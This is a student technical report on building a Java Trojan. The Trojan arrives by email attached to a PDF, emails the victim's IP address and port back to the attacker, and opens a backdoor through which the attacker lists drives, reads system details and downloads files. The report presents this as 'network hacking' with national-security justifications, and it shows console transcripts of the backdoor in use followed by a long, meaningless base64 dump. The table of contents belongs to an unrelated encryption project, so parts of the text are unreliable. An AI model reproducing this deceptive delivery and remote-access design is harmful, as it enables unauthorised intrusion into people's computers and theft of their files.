Вы находитесь на странице: 1из 36

NETWORK

HACKING

TECHNICAL REPORT
No. DU/CS/MCA-IV/2011/xx April 30 - 2011

Department of Computer Science University of Delhi DELHI 110 007

1. Report Number :
DU/CS/MCA-IV/2011/xx

2. Report Date : April 30 2011

3. Type of Report : Technical


Report

4. Subject /Area :
Information Security

5. Title : Network Hacking 6. Authors : Munish


Kumar(17) Ravi Bhushan(46) MCA IV Semester

7. Guide : Dr S.K. Pal


Scientific Analysis Group, DRDO, Delhi

8. Name of the Institution : Dept. of Computer Science


University of Delhi, DELHI

9. Abstract :
In this project we try to hack network by scanning IP address and port number Of remote computer, with the help of that we try to hack remote computer . we will send remote computer our executable along with PDF file through E-mail , Executable code contain IP address scanner ,Port number scanner ,Email sender, And Trojan Horse .when user of remote computer click on PDF file then executable code will activate and do following thing 1. IP address and Port number scanner will scan IP address and port number Of remote computer and send it back to us through e-mail. 2. Trojan Horse that is actually a client server program in which server program run on remote computer and client program run on hacker computer and with help of IP address and port number we try to connect Our client program to server program. Now we can execute our desired command and do following operation on remote computer like 1. Excess remote computer file system(derive) 2. Fetch file from remote computer to our computer. 3. Fetch many information like OS name ,version ,server time WE implement our project using java technology.

10. Key Words


IP address , Port Number , E-mail sender ,Trojan Horse

11. Total No. of pages : 60


Contact No: +91-8802407257 Contact No:+91-9210909760

12. Signature of Authors :

email:munish.kumar.2008@gmail.co m e-mail:ravi.dumca@gmail.com

13. Signature of Guide :

Acknowledgements
The satisfaction that accompanies the successful completion of any task would be incomplete without the mention of people whose ceaseless cooperation made it possible, whose constant guidance and encouragement crown all efforts with success. We are grateful to our project guide respected Dr. S.K. Pal for the guidance, inspiration and constructive suggestions that help us in the preparation of this project. We are also thankful to our senior and classmates who have helped us in successful completion of the project.

TABLE OF CONTENTS
1. INTRODUCTION ...
Subheading 1 .... .. 15 2.2 Subheading 2 ... 2.2.1 . 2.3 .

16

2. DESCRIPTION OF THE WORK .. 06


3.1 Subheading 1 . 3.2 Subheading 2 . . 3.5 Contributions 18 20

3. IMPLEMENTATION DETAILS 08
4.1 Preprocessing scheme ... 24 4.1.1 2D triangular mapping 4.1.2 Permutation 4.2 Design of the proposed scheme..

25

4. OBSERVATIONS & RESULTS . 22


5.1 Scheme using AES... 5.2 Scheme using SMS4.... 5.3 Observations and Results... 27 28 29

6. CONCLUSIONS .. 22 7. FUTURE DIRECTIONS 23 8. REFERENCES .. 33 APPENDIX Source Code (Documented)

INTRODUCTION
"Hacking" is, basically, unauthorized access to a computer or network. It could be the unapproved use of one system to gain access to another system , and it could also mean simply entering a specific computer or network without permission. Simply blocking or disrupting access to a computer/server is not "hacking". In this technology driven world where everything is technology based our afford is with the help of that technology to heck network and with the help of that to hack remote computer attached to network using IP address Scanner ,Port Number scanner , E-mail sender and Trojan horse With the help of this application we can hack network, remote computer and any device available on network like pen-derive, mobile, PDA. etc This area is important because we can use this application to ensure security of our country and network system and can monitor network traffic to detect network intrusion . We can use this application to hack other country computer and we can access sensitive information from that remote computer. We can also use this application to hack terrorist network and can get information about terrorist activity, plan so that we can take proper action at a proper time to fail terrorist plan so that we can save lot of life

DESCRIPTION OF THE WORK

(a) Background / Technical Description We complete our project using the java technology. (b) Design description . Attacker will send PDF file along with his active code .when user of remote computer will click on that PDF file the code will be activated and trace IP address and port number of remote computer .And Email sender program will send e-mail back to the attacker ,with the help of that IP address and port number Attacker will ping using IP and Port number to know that whether user is alive , if that person is will alive than he will established connection with that computer and execute desired command.

(a) New contributions / How this work will add to the existing literature?

We create a program E-mail sender when user of the remote computer will click on the remote file that active code on that file trace IP address and Port number of remote computer send it back to the hacker .

IMPLEMENTATION DETAILS
(a) Experimental setup / Hardware & software requirements.

1. Software Net Beans , windows 2. Hardware- computer , processor . (b) Other requirements for execution of the task Nothing.

OBSERVATIONS & RESULTS


(a) Observations & Results - Output of programs/screenshots, tables, graphs etc -

To Establish connection between client(running on hacker computer) and server(Running on target computer)

Server side(attacker side).


C:\Users\Munish\Desktop>cd C:\Users\Munish\Documents\NetBeansProjects\javaserver C:\Users\Munish\Documents\NetBeansProjects\javaserver> [1]localhost/127.0.0.1 [2]localhost/0:0:0:0:0:0:0:1 Server started at : Sat Apr 30 07:09:09 PDT 2011 Waiting for connection on : 0.0.0.0:5000 Waiting for connection on : 197.95.8.156:5000 Connection received from Munish-PC:49165 server>Connection successful

client side(Hacker Side)


C:\Users\Munish\Desktop>cd C:\Users\Munish\Documents\NetBeansProjects\javaclient C:\Users\Munish\Documents\NetBeansProjects\javaclient>ja va -jar dist\javaclient.jar 197.95.8.156 5000 Connected to : 197.95.8.156:5000 Reading incoming data... server>Connection successful [Enter Text:('bye' to quit)] :

Now when we execute command like


1.get Os: to retrieve OS name ,version and time of victim computer then output come like that.
[Data In] : getOs client>getOs [Msg sent!] Reading incoming data... server>Windows 7 6.1 ---------------------------[Enter Text:('bye' to quit)] : getTime [Data In] : getTime client>getTime

[Msg sent!] Reading incoming data... server>Sat Apr 30 07:23:18 PDT 2011 [Enter Text:('bye' to quit)] : 2.Output when we Get access to the remote computer directory. [Enter Text:('bye' to quit)] : cmd:ls,c:\ [Data In] : cmd:ls,c:\ client>cmd:ls,c:\ [Msg sent!] Reading incoming data... server>ok:c:\$AVG,c:\ $Recycle.Bin,c:\.metadata,c:\autoexec.bat,c:\Boot,c:\bootmg r,c:\BOOTSECT.BAK,c:\config.sys,c:\Dev-Cpp,c:\Documents and Settings,c:\hiberfil .sys,c:\Intel,c:\MSOCache,c:\oraclexe,c:\pagefile.sys,c:\PerfLogs,c:\Program Fil es,c:\ProgramData,c:\Recovery,c:\System Volume Information,c:\ubuntu,c:\Users,c: \Windows,c:\wubildr,c:\wubildr.mbr,c:\xampp, ---------------------------Raw Input Cmd :[ls,c:\] [1]c:\$AVG [2]c:\$Recycle.Bin [3]c:\.metadata [4]c:\autoexec.bat [5]c:\Boot [6]c:\bootmgr [7]c:\BOOTSECT.BAK [8]c:\config.sys [9]c:\Dev-Cpp [10]c:\Documents and Settings [11]c:\hiberfil.sys [12]c:\Intel [13]c:\MSOCache [14]c:\oraclexe [15]c:\pagefile.sys [16]c:\PerfLogs [17]c:\Program Files [18]c:\ProgramData [19]c:\Recovery [20]c:\System Volume Information [21]c:\ubuntu [22]c:\Users [23]c:\Windows [24]c:\wubildr [25]c:\wubildr.mbr

[26]c:\xampp [Enter Text:('bye' to quit)] :

1. Output when we are fetching file from remote

computer to our computer .


---------------------------Raw Input Cmd :[ls,d:\] [1]d:\$RECYCLE.BIN [2]d:\AdbeRdr90_en_US.exe [3]d:\avg_free_x86_all_2011_1209a3533.exe [4]d:\devcpp-4.9.9.2_setup.exe [5]d:\Dreamweaver8-en [6]d:\Firefox Setup 4.0 Beta 11.exe [7]d:\FoxitReader431_enu_Setup.exe [8]d:\hjsplit.zip [9]d:\Opera_1110_int_Setup.exe [10]d:\OracleXE(2).exe [11]d:\setup_av_free.exe [12]d:\SkypeSetupFull.exe [13]d:\sw [14]d:\System Volume Information [15]d:\vlc-1.1.7-win32.exe [16]d:\wrar400.exe [17]d:\xampp-win32-1.7.2.exe [Enter Text:('bye' to quit)] : Raw Input Cmd :download,d:\hjsplit.zip. Readind incoming data P15Tno/exFYLx1S1gPGXTiACw9DNXfYwNWg4gepBTzS4sKv7iLD1uZPuNKT/4 IDAfQAmns9xFRvYgUGW H58U8ddwiuPBggMDuJA1WXMrEmbmjtEO6ypDEGSCEYwXkC8dJynOOx55yM Fhtylx4hTabeugDnhVpTr7 k3+4oA6aww1k2HJHkQKOH+oRd3WX0g1sDXJD+MrfEtq6g8aOrStl3B1HyloJI bzjUsW7E/w7z+3P6UuB DZEGpTBWrnNP4zsTcz4J4mMsBYUcw6Pz4iLNTr/CFSWlHTqYL3TYouMTL1s7A mSk8u6luin54jUNFlcm 059W8F60T9uiSUSmhVuhjbRO/W9xOFqTw2ldNmQEacYfD9Y4X4AKNSaIcEDz fzzE5v5IwOG8hIW2O2VK AaApsfU8HMUxWuYvC9cwEpkaT3oVnHTpuGJOK3T/HwloQHRhkWZrngqOhGP 87HcBFQW0zq/ywv5/fqDz yCrPyZNQmmaZvqCt6IXyGCO15jx8iFh2I2D6pyoweDAj8vodlsVXpnzVfPiaKKC IxD9kBMCB5FT3w3n5 / qCdtgEi5H6qv7ZRP9yTiiCc+pvw2RuEEVg+ArjtVbGgcOxmwK8itYOriymjNFoT /8zXynCf4tKXJ5VV DtP/H36SHlM2T9sEXZbLlAeXiaZj9rTJWOP2BWFkMK2YMMSAxXGbEayqVBqm W3s6tMT3AbiuCVAGoKDr

WZhJOY1nq/s7BGx+tNCFe90bS5ZqmzQAKKqUkHvFGpNuE36Bk1xlsm07U3X diag0NLmtU+I6GCwlhOtu HZXLe6eDQDHgeGwPG4xzUAhFqq1zT/DKs/gijfBm5rFZ71Kjd/FYvav04Fx1Ec k6JmTUc1YO5KZdyuee Df0x05Lzs/PhZUULaEDogdP+yLFDnKVCNxtaw6Ms8F3ZOjrz/kzKGsQugRvwk 4o2Y9sexx00kt928YdO Xt/6aAxdn9QceZ0HWyv94OPx7lP6cBrwpgfwvuMMJ597rdmd14P0sMKs/miUY arypV7ArWQNAq8fJfyZ hB9wbvZrSx56NgmejwXe5SfE9wmplhzyTUqr2UsrG0Kmif1QS6Mz/M4Vo7ye A/2zecErtiJM6niMBnSy isAAP64MYLEgYmJyxUhwoOwOswPuHE1ydsIWmiM5R3lduoh1gp+LJMPwJYzjI/ Ar426ua2RMHpH3QwC4 4DhnpdJHrURgd3Use0VTu8YrQEryA5EyL21vYgWurPcT868IQ1HMuzn7zc+PK hru4LLbVyDaDvbjhtht BdDFZxx2Cevcgaw+tqEpVM2CqJ4vmhml14TuNOHQ2uyLa5IjgJ5U74viSKR/3 aP6hCeVCnttdfwD/aRz cKmlIz19w/Jcr9z2bnFLela9BM1D/iz63VN+ +AaLKYiVtMwVBR1b+sQkMlFwsNJpchtT+2BxCXXia4a1 l+4AxVez7PZkNtP6C7UshCVV3vbkLEceAUGDh8SqgypXDBiizXHPJ+HkpRCnV +IeOYFakF/RwYesbjZX 600wk5VXWYe1pAC0u+bf1+6hsVl6TxPzJIvQ4YPlsBmse8S0fNuGVzke2pjLr2 GfqYxq/PWLElCPSrnL 1aO+LPDnna2pZGWjO0J04/QqdVQq4DpSrKOCxzinfo3Eef+hSz1W/mp9/fYb/ NoVQEQAazLmJftUMX1+ GoNaB+E8l0Wmy9uxJHScl7GAk9KSY3SbaRhcKyYkqMQv6CDTbi7IhHbkYLYiO CPFkPc0dkIio9ca0/Kd GVJHy2ZbY+M64DnHlu88RY/ze4qHgUFgNrH+b71Dfr2lqnZGYuUk8AeEYkGr4 ZQ7MYXoLLlH8VL5hC+/ o1S6TVQWxwzFAfI/Iz7KC6tR0/5oJw81KgYW8q0rD6Gb0W+EAMOHJxKgEFNc WwVj+/bMOXI9jr9upBQQ cqkU82vWIqdNxtB/Y89MhVhncyaoBb16l3KGY/QKBddCL5L7XB8Tzs3QPurcW h5kO/0ZrM+ngCFrALUy 2LATXQaaoINRJtkpEC7HExZT8LKt87iHtukdFy1vY5OjY2O2BhzaUsdoXaNj8K3 CyuV1hxk+3rbwhJCh 5umQG7vEryltvcjN5ovcTdz576GYeX8qtEHUU9V/gH6Gf0LRCbtil/YXn7ULNAa tRmxU+U3g32LVOpZS 8bOhzAia4aUrVDJRZV8Th047HVAWCi7xbMZXutsQEafWAATSoEqZTBy1sc9l2 /tT9hdyBEW1BtpCrYCL tmACNAA4mzvenKCG3KTrtcEQZzdXoKb3xElTwqyD+Dq4oupBiwdUzdhSs/Vp nxNkNmGlBuSwulGelw6L lxqHeE9bLM5GQq3jz5Tg/QimiJRMLSQO9+QPGRuu7VAeXfAQPX0UK5AKd7bq zBPIpovD3c3ulg93qfQy hcjBQJdb6pSKzsdENL/NZpxKIdZ20nbSl9imbBrHOtOVR6XB83Fi6iP3SkyKEzvN uzpPZcG8r/WOVYaT giy9DRMB9ruW+kiOPa85sxl1GLkpfOSbkcP5reRBu2YUs08VS63Qjjpd6+Nei2 Sa61b3G4OpGtL3Ghzs OF3KwkvlaRHjNkpRsx6TBJGawa89A/sdhxF4oUlRFJ3IDQhRDJNcoZC5OIVmOi Mtw/dT/Zdu+g68B0Xe

nQT4PIf39FWnVImvbjIT+7ijpub3pc8lqhMGi04cHPbbuqGXd+S//oIjm/k+ExfRp dFqMEfake8z/X4K x1+o4imGvomt+R4gyofPgeTE/OxGAu6e6xX9YWVNZmSuisYyrlMkp+UwBnR K8RaKn+RZHz0j++NReUTP mM+3Jx4nGqzovByyc1YbBNihQ70WhGKY7BKDXW/j9r9xN3Ziv5nySmag9pSl c/n16hKnQ/2gHDusvZ4x EWzq1qBJxSwcmSibCMPSsLJsSOnxFNRyp0y1PpEZkCaF5CdM1HYt55E1C88a Rgdr3XEw4Mp8MmOpISYw lSVzflUGUUf0I4P5R2rUeuM93ZgIscsOXk/NJaGLQ/mIJoYiFqDZR3FSw9KQ693T xis540gndnvcVV5P FC8kGS0uV+Pyb0eRNZI+kO36nP+AV1rJgYM4vgXK+IDbChGATTM9V4wHuk 0JJpRWxnG6m79oYXQ1FFP9 yM1ie/6FSw41mr33CWZmrz3T8DcnF1P65BHtGCdGk9tYwCtb15tVcDDD/IO0s /TazXA9tuCByD8VI/pd glTgLqvgFO+6M6q7V5nECpA4eowuzlA3oQwQXSzjRgWx3ySgD71xLgeHAJjp vKYP15GCvuWXOLOW9iyL C6XXB7uSjfOR+//XMGRrN6GxvJyA6xhwWmkTSOFgTgOc1AuFQ78KDgVZFUX wm/C/3/Z+bmQeM/WxC7qG Mn55uRP/ArLocEeA6gfgD7cFDBXT8A8g7OnJmwRqgS8Uzmr+unMa5bjkX6xR njIlb0pi2qL/GSFgqxnl bcej4LFhYmCEtXJMNLCeLxM9smhDlqeShLvd8RvvLe/qp+5nxLK3D98C1H0fZ tecIZeoTpQ7yeAYDoY+ aala9PakW7KpQebrgeMc8WeGC0YpdMN6aot+n8RBZGgwlwozZCUUm6IXe5 Sow/FCY7TP+9oBmIP9uXR1 Z8rTjdAp+pMwd6BV9xJz8dfzlbLJn12H4cAnuI9dg1xHeu2izF+SMTYRuIQmZA MFS/v17BWhEOW4jWNF l3avfhYG9FArPrAylYPgD4iXgDsk2VbM9lYueLRqgPpz9xcWvGRlVezf1A224IRP dCHD8OQzVQdDxw0G vbghvIbbhbQBOUuQLKKt69SBiK16B0MX6VFPfhjLgiziNJvby05YMCVp86ol4sU 95oWT/3H/jmXVmTWl +nBmV113Rwxq5THU+nBKSHsGWFxD9TNz72G5+E7TAeRfldRLYyDPhQJDo mBCFJmEBZy89i+jNyyTE2NS OjlWO1cEGba6rDPC4EAaDsbiMgJigsRToINj8J4/2ppgQf67kal4DbPxDRHjodC2 SGdnlDZbPP+VaAYW EehgMeHG4vf1Jb4ITtuuTrLWTVwYIbWDlYUdscJA9DeOutrU1OSSnNVTDb/D82 PkpJbTVlV9hZvnHpLJ iOUO8O4FMLqPcq/a5DFD1WrxsuhlQXHwGG1HyvN9h7A+uXRfMEVa0L0AHN CXkHG60/ecpa0UAwGqXMUS DgCnKIB7jU5J4nP9cZgwjIVMTYDV+I2KXTTWyv6KIASKryZFJaOB1od+muqAH QymZj/0Wk8YyA30Z7vs azkodjcXik/G1pkzG8okdr9MbR0SKbSk+HYRT1CCfvp6QhPTBiVxZbAsNzcak5 w1BvX3HQuz8OGnB/uO F0aII6+mXeeQiLIR5flT/ck4xbBMgFYDDdF90BfjIxn9Prl4tiJYSHs6JDfYQNLdGEo plUJqJPHPGb1z SATgj0zlCUigdPDa5RYZzoZziedR/Zwmj557PMBCKT7O1sO1VQP4gKquQjs3eb PxtaDX3cXOJvDMEjlO 0UPwp1cO+r+ +1ECF2rCLMVRLwva+aJf2A/yictsj0jtGzchPeSEUe7e3fMzyyrBnCoHxmDVhFk Bp8+R1

V21LoBhf9QhGziz0Z8NzrLF3sL4VLR32yW33tdhaWxh7U77LyeUJt75EBA8cyn FHEq2rvmLqJMPVI5wq 8qwsoaiGMj/57DQPV4ujTwn3flWgnQvETx/O8ymnXGU2AElefdZzr7HSMZXz1 XP1uUuesHc4oeuZnsSK J4Nv7QREVEJIsM4NVcR7sb5BsHJWXro54mrVRCP82gBERau8xxlAxj0Ag0pMn pHJuRFSigM+xZP/QYx0 51rarrzwwXq3/3hBnI05JyAwXAJiDsVB8TGmMLWquSlSJeQDL1X5Rr6iBgG7ffw ES8GorNTbOWgFSr17 TprglcqVh4uGBkESFFbv0/4hLLqCR0EwsJpiXAcrrPMTz8/hbYK7Z6vp883xWMft oYVTf3vKxLDqxSeO Nccv/AblmwZuM+8+P6piEhg7Y/aKgQNQJAUyDdwUA1AhFpEIB3IOliz2YNMFl UX4SCP+52XpXdFm+HGf r8D5Xkcpk90D8OPpymPHZDxUfgUpmEt8s/YRsxcQMzSP4gP3UKMkg/5FqTbh kuKjsAhY43Wp5WWbHGKj Y/moPooSjiXUbGR0Ro6FTpRmNzXl7YDz/m5E36+7+zgGFMXeVOfjV5Giddcjb PoO2wHMMDP32CajyeyQ gMOdWes/iqmA9u8j8QUN7D/yUsl687Ze/W5N/OIsr16N1Zkllm+gOgq0nr23D w3/AUWyrckenJOmsP3a 6Vw8J9Qe3JN7x3hgYwOi0PHbhPODqwUoP34R6WFDWJDBxv1CzwJNRZia5Ha f/zMs2kwPPozLJRGByYKo doazIWF6u7pgdKVcOH8WC7HyXZanRpZj+fGfsSO4bBJtdFvSW+GXTeQgrsPy uq8VHMW8c/i38/J65Jw1 +F5CevpgRmQYUAKpjBKD9VuRCJ/9NzIpb5w+Nk1/G6vKs6EQZZEOBRCT8Im rDDTt2RAh/cnE7txTChK1 eDIQL4NKS1Px+csEn+GaDjn9WAoB2LL3vl7HskxXaxDfpNvr7Xo3zcRMGzdV 7mz3I4wZHnOu8gsj9jhG KlQwksNYUeL8eSEw5Pxpj0lxodFCLdCEAoOzUi2dsGfnI0PqhPF6vs8hU+LqoN Pz+pP7vQufC/cUbzqP 2uMGjkOxhIp+8GiTd4bvlBUDuJlKtCN3V+ZGdCNDjA25/WEL6y/KE/9T9ASpIZJ SAUNKEX3noOAXcjJy clbehzJwRPZ3alIG82aoSSdcBMcgwpuriGnvZFCDrwXlsuO4TOvxaq+uvvYk0fu Wh2HbWWddJIdI67YO 8KYd3SWzqT7lrAqheibyyp+1bNP/4N7FsJ/3SkgGm8IvcAsHMdMz7TExpnJ070 SbU4Jj/URL0G+RqoTg ROnMrwTHE0jqIFOsH6Cwmxmmg4r9/1oj+rcCWpaIqy43AMT1EzrcBPSftGupv qzSfguXwzYFi5OV87X2 eDOnckP767pmEoSRIFTZfzROPlGHn+P4g+Lhuolg22AtS88fY3YpT5V/bedjSc S/tyzNaL8hg02R8b6X 38vb+WHwl/h3BOfAYAnA9R/iAI5ed7Cx1/TNAaMuZf2BF1x0v+jHHMoUmsP9 RZ1NXc3AEoPHuJ6MWim3 RrRmOb6LQ/oJsEEGSRzMQS0AbByyFnZdgznh0VdddzGr1K8lPzDDq2TbihVz1 e4Kqxd/ChIm9ZWn++to ZgXfOX6fRyHFzsPW0/C3ELS4K5GklQ5cLL2+m2ijTg7m44R3GZOk45bwupTv CTwMA2K7o5xtakGPIsPN moI+OSBvY5OdDCvHCT8E+MExy85G3kctKacc0DJ1INf/Ow/grmSjvbfLTllVrC3 BSpXd7T5VGsDjQkYp 9CIqdIoHRvQgZ7Pf73unD+jPzAUZO5Uh1WYOEpCL2kNg3YQjdhIWfEnwuuEvI KROPJmmcPa2x3eZXo5g

G0c06SbTMJo/uFR+o/sXDKjlF93CIqLeevXYv4+vp1hyeOjExzLCsW5m9N59w/ P9Ymuu3vxGn/mTzPze H8hsv3GAcM/qzWGafAd6uutFcIvp4Wppg0P8eShAiuuGVXYdJ1BSFyQMmC3S kvoMvBW1LuKuV6pDgumI qDJOGC1d0G5OjL9XURjKrEb11VwR+t9w44IDinjoAhHteUfVKuuWEXbUXX4T/ zdafOQIomcuBFTfBRiC 5nOqh1Qw5a/Dg9gzk+irPAP7MwNg/pRTtW9XZ5sOToqZ+2D+jvh5x10l75uB S9h2c/P/m8Tf1cPX+XA5 8LCMzh+DFZWuwomwtkPLU/tkcO1dEJg3grJKF0WJfAruWTQoW5SjiXDgg8E/SJ cqbqNmkdvIqYM6fqmA YKLHK2UF9t1cYzXZtWEXv5t88XmSg/dWPuTDVaC6NpgwIdDyU4jjRSgndWBh Eip17AKBUhLMg1BvWiM7 SZ5SwrDFxtxHExc4fhXVvAGfE/4kCLTmfXs4s/E/TX42hE525JoSXUQQ/7KbI7yy iVSAfKeqNLYXt+fa Qv9YIQik0/zc3EdX8v2MB7RqvYqbPLA38C68huUY4oRwDVPn+58Ow7jn9j4H V7++osjhLw+djphXohVD s/TN1pFF0/vrp510ANaf9LSBv5iFtC0TxzmBcGgwqJ72/Qy8fz0CW9P/vamgjQO sEc/cpH47CZ9KM5+Y ctlUiWxtgoZ4rQGB0CNfnB3Tgar9/G4WhPMpLJWSgMvsJW5Caaqk1cCmy6x3X uvk3CyJZPKCO1mOLIkz +1HDxTOwFEGOJUG56WHUF/Fz9Iy9UV1Aue0lscWBDQygi3WIw7zRZZPrvQB hYhtoxK3UqRagTvhFF6aD tkJjOjaHTSWL7MQov7f66YHQh3yIwWe/JN8diDakTCU58/Olssgy7cPzjdN38Elo Zq7RlbJqPmv39/fp k4/gqb42AmfFX27tTUpKNrGhIlYDqiJnrNbiPWw+R9LBd2Nv0lYia03AaoSxH9G /8Wg4wJLj8xkqcd7I y/Srf/RORL05va2WZgYj80LK7Jh3r5RpqY3pqsLmbeciVWEHs/QPrUzQjW3T+c4 k7F1g9YKPneLP9lOc a7QMzWi5XuEZUyr0/CLVs+WBdNHxvrvj8E2Sstakl4xqBTdW3nuPN3I1YW/mC +X/kFdOQzxf4nvQg/W3 G5RXyvVFakNGFxuw0swz/tibyp8/KtUPbEox1myDoVNVV1rmWFmn28mQuoA LNqXSdDsAOvA4hvTywiCJ lPwdzE9+X7rj/eDsU/+ +g/z2xBAkAEFz8Wh70HQ3G4abXT7tVzopiRpZsjAYxQ5ZuREe/RCUIvDT8eFw EggEZn/USx+R7gMZ8JDrCpxR4wsmwnKgkZCdXqEltHi+xvzC/eL+zUJZ8YaBa nQ4QKvaotyrAX8xXKBS zdTWOtZ0o+o2s7wOFygKu00gLWvOswfYkDcyvy5CRHh38SsMVXG32VwofN nC0eoU3SYNSzxTQd6TeOP1 564mCvXJS9b4CGzq93JqGAKZtLoBAeQrNuQzXD81g/XMoWjHAGxZPGxiU0W 4Ia+HJ3rky+LQUC6dxRwj 4r1RMpTYiXp7Ds5kAQbcmvXcgQNGpc6i2mmmUtvNU3o8PtB0RwSv7b9ruKs kPwR8pVDADe+U8+hdYKMi SHfrRjamXXzamsW7oCxsQ/wNgwBvpqDBYXv581oYOutvdX4l8/+E7WZcu1J/ 3E9r8QoBRe0XWetZvU4E fQCBzmM9IqjDtPC+/lFsiEN4oXF+ahnwNboHOlqvP7mSEPcm7Fu8cXmhrxZdk IcRfyog8/z3ZfZyZiR9 / MysI/cKaC6oUjpDO+PocHcLD2Gonv1z7lx4jUG9Xdeehcpq2ArGOqsVqDQG8T v+f/WkyMX2nVX8RdGw

Eeg6sJn/RwWwDChAUKmB9snqvFNSsTCQymHCFRBVkbdT9v7enpZP5NrWlT UvD55XmttlOJLIUkr99OYd 1RpKhm8fhRD9Ld1VI/De9iizyoa7oV7KQ6ejL5y7jHlXXFV6hQsPo6kTl5vHBt9s/ Cxz1/LwXmYQ13v9 HdhrRspJlgF4LMaFhWNstzTNlOjEB2TWaaQF3JBsprK8E03la2uGTUePxyRK/lhj 4/BGhFVn07tS256W C/dIzWgy47uuQfVrjvHwtrSqDhBOr9MG3dDxSA8P9vwj3M8p+XacIqLunSSiUo GbuF/P0lMW5bhSRdTf Ek5a7/P0u44k3+17UlDvCVda8lB0NUBeWlCZg0dk5T3jb8tGZPD0v95egNxVA /FFaub5qSwb8gINzEG/ mpvrMo3VHDS7JJfVVz9DWkHi7GlbierHKs0TIXwQitTNPfYJur5Gom3UwVW2yk 3lGT9jXnhUDG772SoD b2FMrV2br9vz/bbS5RL7BfpYxrKcTlxsPXK7bRHuWR4rxHI6TbvT/CxfPOUrYxU mJVxTGrdkenb6DDOI AJoLecVQ4SqPygEpJBzRFXe8hL4T3Wb8snS3oEyyp+8dCG/9N9CT+EHhVaAkJ nf6BuJzrJhwnVozs7lJ Z8s8xg12lR/CuCZWvJs5d0wx3PWrVJDm5OWUo/wfTLAKw/5Ew/dJc9iWVLpoKi P+fuuRR+edj1dgS9GK 3asfAZxbv4jA0Mf5RgPyUe+G+20K0zkSVgGZfUi8ZC0JfrXKE/zqxKQe4JecIO+ sykH0dCofi7ubY9rR 9BwVV6u5zMZG+H1b8zw8BKFAVASIjgkXknwBzBZdMj9fiTWvAurvNC0aB1b DUrgukSLJIFjKanRBvPqz 80eUx5HhU+AcCuBBKOR0LKuILlju/Ehb682bKxhaN7lGi2sx2pcvcW8ruWJz8k +5WT0WEvF0rrnDVk9E vO0hKoDxyhMEI0ym2kLxG3LQjZNMuI79I5/diwUctzaH8/AcrU6vQxP9qJW1wY Rz/BqNNYZNUFS3h+hi G+kRxj3r2sfhHGsMc/O9su9a6e8U5bZ1i7wAwQq5acIT9k3A5ODDDnKmoDw d6x2ieZFtY633ARAhMzEY s4gNwaRUeMVOp5u30GEVFENr+WHqe9A5isfaLdKUPJePgg74qZbZVRArw32 BN3huaxVgDkUc+lD9k9B8 s/yrdYFxNX8XRnsjL5QBhyGJJ1UmXpP8K6/87/rNg/Tx0lSM/ydizM7GJyN7go9T8 rDjvxiWAgPsWafr buwAmIfF3eTRYa6hCqUc2XlEp/lnn4rcHABN22m8jz8gMjAKOruSBueeRdyH6X 6k3yeH6jwOjN8NZFr5 8DTvlcuIIN+PEjyyu8bmb8tD+3IBgL9zyTwTA9amU8HNj4cTojGFc/xPYo3C/u2 zYTDyIvMEtyPzFZHa Max0aee6cuDyF1J6RpKnPyPAd+xemr+No9P3CpOGjnMcEtQ/jDX7YgJZcyIUs 86d5ewFnoOOlYbmYg7S 2ljgjQvM9OuPdf+VxI0HCa+vI91y9l9sI0gxB5PT8Rk8M/ScBbP8tUS8nMSnEAo ozKrzwi374txHj+p8 74g2FtGY5Kd83dYF0QG0STUlDSzeBsMnphzyNA1HBYS32TGvznOTncvH7/I7 Q0q4s4MNntikTqztKEYK rHwH86q5QcmFZMTSQW9klr8Rw1k8zBSlFbsSkjfR3QMAJD85Rp4esD5GXVG 0NPZ3fD+9aKOeGYoSPTW4 A6VhpDZMRtFUo+mGh8NHv9RiTPx0K+4AzLza/PqJ4vn6cDNlroVPFuvgBQsK KUULmU5JPkwtrlrq2m0v 5l/9iJz2HEqlYap+Tex96CFRYK3vb3urb+4QLoZMMll3QsMUrZJ23MYeahQNIQY v6ioHkzZpMAPPMSNM

igzBPsrZws5AhmhOvyjlyCFyY3SPKKZu3YkZGCxgp8qFQQhJy3knVERHP3GBB a1FA5E6XrmZUu61Hjh9 7ypEVk//DRWmso9R8Q5cS9yNgKfRA6cmNCqRkz+lL9yZV8Dfz+dT8XLDlYVP 5NQzvweM/61FibGmfp5w gEiSm4OhrMZMm45nI+tKaqXJbxmMp0BXLtPgxqJOiJPzRqN/kYP+zIq7uMI/No OPUsT2BAJi5cCVmVzp o92KWIyhVjAVsD8EYVRPQ/tHHm8ZuvPmJQtehVFuulHTvLEDnxV92wmdHQS 12R94Ynn97tFN1TtWl8XB ilDQ56VRAtlcokFz725DcleDK4+viDKNosDbDvzMunJhbC/e/rohB8wWMFluMZt /bVP7Ws7CvrvBqsXR mFK/uf+lVEbq2yJCKH9Sk9R9KAtAAn3ppmzVGJMa+xPw4bK83ZBPg7p0iweA 3NQ7rU7xulZX8/1yuSVZ 64bc4MZg2WO79qAm3AJT9s6ZfYV9TaISk/D0QoEHuy4f1mW3nUP9XfFypyQ 9RtJSFKezuEl9emeyLp7l aAcAtQ2STQwgK3lULjR6iuTZU71SGFsNK/cp+k0YB4PdEm3rODpP8bupm3Kh PPXuSRlx/5st8NtPpfrv / tuCLm6iWSAwVjut78JD0U5BLxUC4vIgm6Gz14+wvKveT3gh4FAy8ztl2xQY7C DDzl1C9Qhh9hLjX4O8 pxPDasGAIBveU3OHu44H/Hy2vosc1QQ/3WkbavtAs6XFp1mOr/T1MW3g8Em gW1TGAj8Eu533GOMVuHA0 6HsrzN00lznxC7SEQiJ4STYoDe9ZNqCb7HzQfs59EFAlpHLoeWhTnamQfqd1R/ EWVA0mVyBSWUWkC/X9 BHa3iURKPLHniSvyp0qAGbhWwWfJtyMgODLuEcxbQLLzNvm7nfKysSfL1nAzQ /LXA3BrRY+ArfWmara5 jZUAMU5bxSNT+1mpZyyjWWBT9SNhz/xRX/8K94UIjKpcVVAVNtaoSRsXvE2H zRT559e5s1Aflwg72DWx GelZOWUXEJXfX+xWsndLvXCUaSzlKKbnilr+hOVsy1E2kENB8SLldTGf01DDo e/3dVDYdZBUI9WBZ8m+ PGGqxGRnVzP39O5deJ+nRSGK9F4Bf9UPK5K3ia8C2SE3Rqu8tzGLFahmSa4r y/Zh30aCrMR5GSBdhZ99 NiOfBlYxDGFhXp583eXQ0/6XdfrCJGZAicxOzKziMcm77ElcOxTum9ZnYovzvIH AoWVQ9PlF9pYzv+E/ VXfEsF807soRi9x9s/oTQfNzkfs6r3l/di9wU9RwQAiO1r738/i6+tZWPM0Smu+V A/7anrr06Ti1TnJ0 IZ5ajQKhFP9hunG3CpuD95uAnmyww/HvTMVNpjbnegVjTj67LlyhdGDqUMHi1 J9cXGa/s2XsnCx+MVvt 